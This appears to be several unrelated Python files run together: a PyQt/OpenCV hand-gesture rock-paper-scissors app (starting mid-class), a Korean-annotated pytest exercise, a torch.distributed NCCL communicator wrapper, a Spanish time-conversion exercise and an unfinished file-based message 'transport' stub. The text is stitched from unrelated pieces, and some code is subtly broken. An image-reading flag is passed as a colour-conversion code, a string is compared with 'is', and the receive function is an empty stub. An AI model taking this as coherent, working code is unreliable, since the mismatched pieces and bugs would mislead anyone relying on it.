        self.btn_binary.setEnabled(True)
        self.btn_soble.setEnabled(True)
        self.btn_find_contours.setEnabled(True)
        self.movie_thread.start()
        self.process_thread.start()

    def saveSlot(self):
        # 儲存文件 dialog
        fileName, tmp = QFileDialog.getSaveFileName(
            self, 'Save Image', './_img', '*.png *.jpg *.bmp', '*.png')
        if fileName is '':
            return
        if self.img.size == 1:
            return

        # 用 opencv 寫入圖像
        cv2.imwrite(fileName, self.img)

    def refreshShow(self):
        # 提取圖像的尺寸和通道, 用於將 opencv下的 image 轉換成 Qimage
        frame = self.camera.get_frame()
        self.img = cv2.cvtColor(frame, cv2.IMREAD_COLOR)
        height, width = self.img.shape[:2]
        # bytesPerLine = 3 * width
        self.qImg = QImage(self.img.data, width, height,
                           QImage.Format_RGB888).rgbSwapped()

        # 將 Qimage 顯示出來
        q_pixmap = QPixmap.fromImage(self.qImg)
        resize_w = self.label_1.width()
        resize_h = self.label_1.height()
        q_pixmap = q_pixmap.scaled(resize_w, resize_h)
        self.label_1.setPixmap(q_pixmap)

    def set_lebel_2_pixmap(self, img):
        height, width = img.shape[:2]
        # bytesPerLine = 3 * width

        if self.state == 2 or self.state == 3:
            qimg = QImage(img.data, width, height,
                          QImage.Format_Indexed8).rgbSwapped()
        else:
            qimg = QImage(img.data, width, height,
                          QImage.Format_RGB888).rgbSwapped()

        q_pixmap = QPixmap.fromImage(qimg)
        resize_w = self.label_2.width()
        resize_h = self.label_2.height()
        q_pixmap = q_pixmap.scaled(resize_w, resize_h)
        # q_pixmap = q_pixmap.scaled(resize, resize, QtCore.Qt.KeepAspectRatio)
        self.label_2.setPixmap(q_pixmap)

    def process(self):
        frame = self.camera.get_frame()

        self.img = frame
        self.image_process.img = self.img.copy()
        self.image_process.sobel()
        self.image_process.gray()
        self.image_process.threshold()
        self.image_process.find_contours()
        try:
            self.image_process.get_larget_cnt()
            self.image_process.convex_hull()
            x, y, w, h = cv2.boundingRect(
                self.image_process.cnt)  # 該最大 contour 的(x,y)位置及長寬
            cv2.rectangle(self.image_process.img, (x, y),
                          (x+w, y+h), (0, 255, 0), 2)
        except Exception as e:
            print(e)

        if self.state == 0:
            self.set_lebel_2_pixmap(self.image_process.img)
        elif self.state == 1:
            self.set_lebel_2_pixmap(self.image_process.img_sobel)
        elif self.state == 2:
            self.set_lebel_2_pixmap(self.image_process.img_gray)
        elif self.state == 3:
            self.set_lebel_2_pixmap(self.image_process.img_binary)

    def play(self):
        mora = Mora()
        mora.check(self.image_process.ndefects)
        mora.pc_random()
        self.player_plain_text.setPlainText(mora.player)
        self.pc_plain_text.setPlainText(mora.pc)
        self.result_plain_text.setPlainText(mora.compare())

    def on_soble_click(self):
        self.state = 1

    def on_gray_click(self):
        self.state = 2

    def on_binary_click(self):
        self.state = 3

    def on_find_contours(self):
        self.state = 0

class MyThread(QThread):
    def __init__(self, job):
        super().__init__()
        self.stop_flas = False
        self.job = job

    def stop(self):
        self.stop_flas = True

    def run(self):
        self.stop_flas = False
        while not self.stop_flas:
            self.job()


import pytest

def solution(nums):
    max_num = len(set(nums))
    if len(nums) // 2 < max_num:
        max_num = len(nums) // 2
    return max_num

    # return min(len(set(nums)), len(nums)//2)

@pytest.mark.parametrize("nums, expected", [
    ([3,1,2,3], 2),
    ([3,3,3,2,2,4], 3),
    ([3,3,3,2,2,2], 2)
])
def test_simple(nums, expected):
    assert solution(nums) == expected

"""
[ 풀이 방법 ]
- 리스트 안에 겹치지 않는 수와 뽑을 수 있는 수만 비교하면 되는 간단한 문제
"""


import torch
import torch.distributed as dist
from typing import List

class TorchNCCLCommunicator:
    def __init__(self,
                 process_group):
        self.process_group = process_group

    @staticmethod
    def barrier():
        dist.barrier()

    def send(self,
             tensor: torch.Tensor,
             dst: int,
             stream=None):
        # print("Send tensor of size:", torch.numel(tensor))
        dist.send(tensor, dst, group=self.process_group)

    def recv(self,
             tensor: torch.Tensor,
             src: int,
             stream=None):
        # print("Recv tensor of size:", torch.numel(tensor))
        # print("mean:", torch.mean(tensor).item(), " std:", torch.std(tensor).item())
        dist.recv(tensor, src, group=self.process_group)

    def broadcast(self,
                  tensor: torch.Tensor,
                  src: int,
                  stream=None):
        dist.broadcast(tensor, src, group=self.process_group)

    def reduce(self,
               tensor: torch.Tensor,
               dst: int,
               stream=None,
               op=dist.ReduceOp.SUM):
        dist.reduce(tensor, dst, group=self.process_group, op=op)

    def all_reduce(self,
                   tensor: torch.Tensor,
                   stream = None,
                   op=dist.ReduceOp.SUM):
        dist.all_reduce(tensor, group=self.process_group, op=op)

    def gather(self,
               tensor: torch.Tensor,
               gather_list: List[torch.Tensor],
               dst: int,
               stream=None):
        dist.gather(tensor, gather_list, dst, group=self.process_group)

    def all_to_all(self,
                   output_tensor_list: List[torch.Tensor],
                   input_tensor_list: List[torch.Tensor],
                   stream=None):
        dist.all_to_all(output_tensor_list, input_tensor_list, group=self.process_group)

    def all_gather(self,
                   tensor: torch.Tensor,
                   output_tensor_list: List[torch.Tensor],
                   stream=None):
        dist.all_gather(output_tensor_list, tensor, group=self.process_group)

def default_init(args):
    if hasattr(args, 'world_size'):
        dist.init_process_group(backend='nccl', init_method=args.dist_url, world_size=args.world_size, rank=args.rank)
    else:
        assert hasattr(args, 'pipeline_group_size')
        dist.init_process_group(backend='nccl', init_method=args.dist_url,
                                world_size=args.pipeline_group_size, rank=args.rank)

def init_with_coordinator(args, prime_ip, rank, port=9999):
    if hasattr(args, 'world_size'):
        dist.init_process_group(backend='nccl', init_method='tcp://'+prime_ip+f':{port}',
                                world_size=args.world_size, rank=rank)
    else:
        assert hasattr(args, 'pipeline_group_size')
        dist.init_process_group(backend='nccl', init_method='tcp://' + prime_ip + f':{port}',
                                world_size=args.pipeline_group_size, rank=rank)


class Ejercicio13:
    def __init__(self,titulo):
        self.mensaje = titulo

    def equi_seg(self,hor,min):
        tot_ho = hor * 3600
        tot_mi = min * 60
        tot_seg = tot_ho + tot_mi

        print("Hay {} segundos en {} horas y {} minutos".format(tot_seg,hor,min))

h1 = int(input("Ingrese las horas a convertir: "))
m1 = int(input("Ingrese los minutos a convertir: "))

ejercicio13Variable = Ejercicio13("Ejercicios")
ejercicio13Variable.equi_seg(h1, m1)


from datetime import datetime
from json import dump
from os import mkdir
from os.path import abspath, dirname, exists, join
from typing import Sequence

class Transport():
    pass

transport_dir = abspath(join(dirname(__file__), 'cache'))
send_dir = join(transport_dir, 'send')
receive_dir = join(transport_dir, 'receive')

for required_dir in (transport_dir, send_dir, receive_dir):
    if not exists(required_dir):
        mkdir(required_dir)

def send(from_address: str, to_address: str, payload: dict) -> str:
    transport_file = str(datetime.now().timestamp()) + '.json'
    transport_data = {'from_address': from_address, 'to_address': to_address, 'payload': payload}
    with open(transport_file, 'w') as outfile:
        dump(obj=transport_data, fp=outfile)
    return transport_file

def receive(from_address: str, to_address: str) -> Sequence[str]:
    transport_file_pattern = '{}_*.*_{}.json'.format(to_address, from_address)

    return '', ''

if __name__ == '__main__':
    send(from_address='sender1@gmail.com', to_address='vikas.munshi@gmail.com', payload={'msg': 'Hi'})